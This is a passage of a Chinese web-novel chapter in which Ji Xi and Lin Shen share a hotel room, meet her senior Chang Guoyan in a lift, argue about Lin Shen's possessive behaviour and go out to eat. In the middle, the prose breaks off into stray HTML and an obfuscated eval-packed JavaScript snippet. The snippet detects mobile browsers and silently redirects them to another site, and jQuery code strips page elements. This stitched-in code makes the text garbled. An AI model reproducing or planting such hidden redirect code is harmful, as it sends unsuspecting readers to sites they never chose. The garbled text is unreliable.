季西:“……”
她沉默半晌,说:“我记得你有床睡。”
“床上空空的。”林慎迅速抬眼又迅速垂下,“而且我都跟你睡两个晚上了,你不觉得很暖和吗?”
这个确实是没法否认。
季西摸了摸鼻子,“床上有枕头有被子,哪里空了。”
林慎趁她不注意,亲了一下她,接着正襟危坐道:“没有你不就是空空的。”
季西对他这种行为非常无语,对他进行死亡凝视。
林慎面不改色,“怎么了。”
季西忍不住骂他,“你真是死皮赖脸的,少来这一套。”
“好吧。”他垂了眼,看起来有点委屈的样子。
季西看他这样,干脆给他来了一巴掌。
清脆地“啪”一声,落在林慎裸露的手背上,很快红起来了。
尤其是他皮肤白,更显得明显。
季西抬眼看他,正好看见他垂下来的睫毛,盖住了大半眼睛,鼻梁挺直,唇薄色红,左脸颊中央还有颗痣。
小小的很吸引人。
季西没忍住上手摸了摸。
林慎完全不躲闪,只是抬眼,睫毛下的眼睛彻底露出来,瞳孔很黑。
他盯着季西,忽然笑了一下,说:“我发现你很喜欢这里。”
他的手覆上季西的手,脸颊彻底靠在她手心。
“今晚一起睡嘛。”他撒娇道。
季西无意识道:“好。”
过了一会,她反应过来对方说的什么,自己又回答了什么。
季西暗自懊恼着,面上不显,只是把自己的手挣脱出来,风轻云淡道:“去洗澡吧,洗完澡过来。”
“好!”林慎立马站起来,转身要走,又怕她反悔一样,朝她伸手:“房卡给我。”
季西毫无表情地抬脸看他。
林慎坚决不退让,依然朝她伸着手。
她感到有些头疼了,于是说:“去拿去拿,在门口。”
“我最爱你了西西——”对方趁她不注意,又弯腰亲了一口。
没等季西开口骂他,他已经丝滑地出去了。
很快,季西听见门开门关的声音。
但是没过一分钟,门又开了。
她没动,以为是林慎又要说什么。
可是她听见了轮子骨碌碌滚动的声音。
季西有点疑惑,偏头看去,刚好看见林慎拉着自己的行李箱进来。
她还没说什么,对方脚步极快,已经走进卧室,扔下一句:“我现在就洗澡。”
-
第二天起来的时候已经是下午一点。
季西先醒,她醒来时饥肠辘辘,感觉饿晕。
拉着林慎去餐厅找吃的,他还不是很清醒,在电梯里时靠在季西肩上,还想再睡的样子。
“昨晚不是睡得挺早的吗?”季西疑惑,“怎么困成这样。”
林慎恹恹地“嗯”一声,没说话。
跟季西一起睡觉,对他来说,其实算一种甜蜜的烦恼。
甜蜜在于一起,烦恼在于只是睡觉。
他好歹也算个正值青年的血气方刚的男人,能遭受得了这种待遇吗?
还是能的。
只是有点代价,睡不好觉而已。
他困倦地不想抬头,半梦半醒间察觉电梯停下,但季西没动,他也就没有抬头。
直到进来的人跟季西打了声招呼——还是男的。
林慎依然没有抬起头,他一动不动,像个哨兵一样,从两人的对话里,侦查对方的信息。
进来的人是常过言。
他进来时第一眼看到的是季西,惊喜地打了个招呼:“季西?好巧,是去吃饭吗?”
季西也很意外,说:“是啊,真的好巧,你也去吃饭吗?”
“是啊。”常过言隐蔽地抬眼,看见季西肩上挂着的一个男人。
他不动声色道:“旁边这位是?”
季西这才反应过来。
林慎在她身上靠久了,她已经习惯肩上的重量。
她道:“我哥。我们一起去吃饭。”
“哥”字一出,她立马察觉肩上的人脑袋动了动。
季西赶紧支起胳膊肘往后怼了怼,意思是让他起来。
林慎不起。
常过言说:“哦……”
他话音一转,说起季父:“昨天回去我已经跟老师说了,他今早上才回我,你有收到消息吗?”
聊起这个,季西也不顾身上的人了,“收到了,不过我还没有回,晚点他应该还是要打电话过来问我的。”
常过言笑了笑,“好,到时候你打完电话,有什么需要补充的信息,再跟我说一声,免得到时候我们俩说的不对,引起怀疑。”
“行。”季西点点头,“谢谢你,常过言。”
常过言摆手。
电梯里安静下来,上方屏幕的数字跳到4,还在往下跳。
就在季西以为话题到此结束时,她感觉腰间好像缠上了一双手。
再偏头一看,林慎已经醒了,下巴立在她肩上,侧脸对着她。
“是什么事啊?”林慎懒洋洋的声音在密闭空间里不大不小地响起来。
季西刚要摇头,就听见常过言说:“林先生,好久不见。”
林慎好像一副才发现他的样子,惊讶道:“是你,我记得你。”
“常过言,季西的学长,对吧。”
他说完,也不去看对方的表情,双手又用了点力,把季西往自己怀里压。
他问季西:“你刚刚在和这位常先生说什么呀?”
“亲爱的。”林慎叫道。
季西察觉林慎情绪不是很对,她对他的称呼有些诧异。
对方从来都没有这样叫过她。
季西说:“我等会再跟你说。”
“叮”。
电梯到达二楼,门打开。
季西要走,林慎脚步不动。
她撤出去的脚只好收回来。
常过言见状,也没有走。
察觉到季西此刻心情并不美妙,林慎软了,他刚要说话。
“没什么事。”常过言道:“就是老师布置的一些任务,刚好我们交流一下而已。”
“谢谢你的解释。”林慎笑了,“原来你跟季西是一个老师。”
常过言点点头。
电梯门快要关上,他主动道:“我先出去了。回见。”
季西跟他再见,身后的人并不说话,气场沉沉。
人走了,季西还盯着,直到门关上,屏幕上仍然显示在二楼。
她拍了拍林慎的手,让对方松开,又按下开门键。
门重新打开,季西率先走出去。
林慎紧接着跟上。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317712|199001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她不说话,林慎说。
对方这个时候倒是很委屈,跟她撒娇:“你们刚才在说什么呀。”
季西站定,转过身,先是盯着他,然后又把他拉到隐蔽的角落。
她声音冷淡,“你刚刚怎么回事。”
林慎比她高,低着头看她。
一般人低头眼睛都不会睁大,都是半颌着眼,林慎不一样。
他就算是这个姿势,依然把自己的眼睛睁到最大,显出一副楚楚可怜的架势,让人舍不得训他的样子。
但是季西不为所动,见他不说话,又问一遍:“你刚刚怎么回事。”
这次她语气加重了,听起来已经有点情绪。
林慎道:“你们说些我听不懂的话题,我问问而已嘛。”
他有意装乖,想去拉季西的手,对方却不给他拉,还拍了一下他。
林慎捂着被拍的手背委屈道:“感觉像被排挤了……所以我问问嘛。”
季西盯着他,非常认真又冷漠道:“这是我的事,跟你有什么关系。”
看着对方受伤的眼神,她狠心地撇开眼,像是给自己找理由一样:“刚才你的行为让我感觉很不舒服。”
她余光看见对方明显一怔,于是语气放软了一点:“我感觉自己像个物品,被你限制了自由。”
“对不起。”林慎立刻道,“我当时太急了,没有注意到你的感受。”
他说:“我下次不会这样了……对不起。”
季西抬眼看他,从他脸上看到了浓浓的歉意。
他不再是刚才故意装可怜的表情,而是敛了眉眼,很真诚。
她不说话,林慎又要来拉她的手,这次没被打。
林慎两只手抓着她一只手摇了摇,靠近了点:“我下次真的不会了……”
季西还是不说话,她垂眼,看不见对方表情,看见对方的手拉着她。
林慎的手很大——相比较她来说。
于是,当他两只手都握在季西一只手上时,她的手就显得小了许多。
但因为对方这样的动作,又把她整个人都衬得很冷漠。
季西厌恶这样的自己。
她想握住林慎的手,让他别摇了,又想起季父。
算了。
反正之后他们也不会有关系了。
季西最后说:“去吃饭吧。”
她拉着林慎去餐厅,又想起常过言也在餐厅,于是改了主意。
“我们去外面看看有什么吃的好了。”她说。
林慎对她的任何决定都没有异议,并且为了弥补刚刚的过错,他掏出手机,在社交软件上找别人推荐的、季西可能喜欢的餐厅,主动拿给季西看。
季西拿过他的手机,在上面挑了一会,最后拍定一家离这里大概一公里的店。
这么短的距离,他们走过去都可以,只是刚才下来时没有穿多衣服,需要上去换。
换完衣服,他们出了酒店,速速出发了。
季西晃晃脑袋,把刚才的坏心情都丢掉,又充满了活力。
街上现在有些人了,尽管不是很多,但比昨晚看着有人气。
这时候还有点太阳,再晚点太阳就下山了。
林慎搂着季西的一边手臂不放,美名其曰暖和,季西都懒得跟他计较。
她听到路边有人说,如果今晚天气放晴的话,会有极光。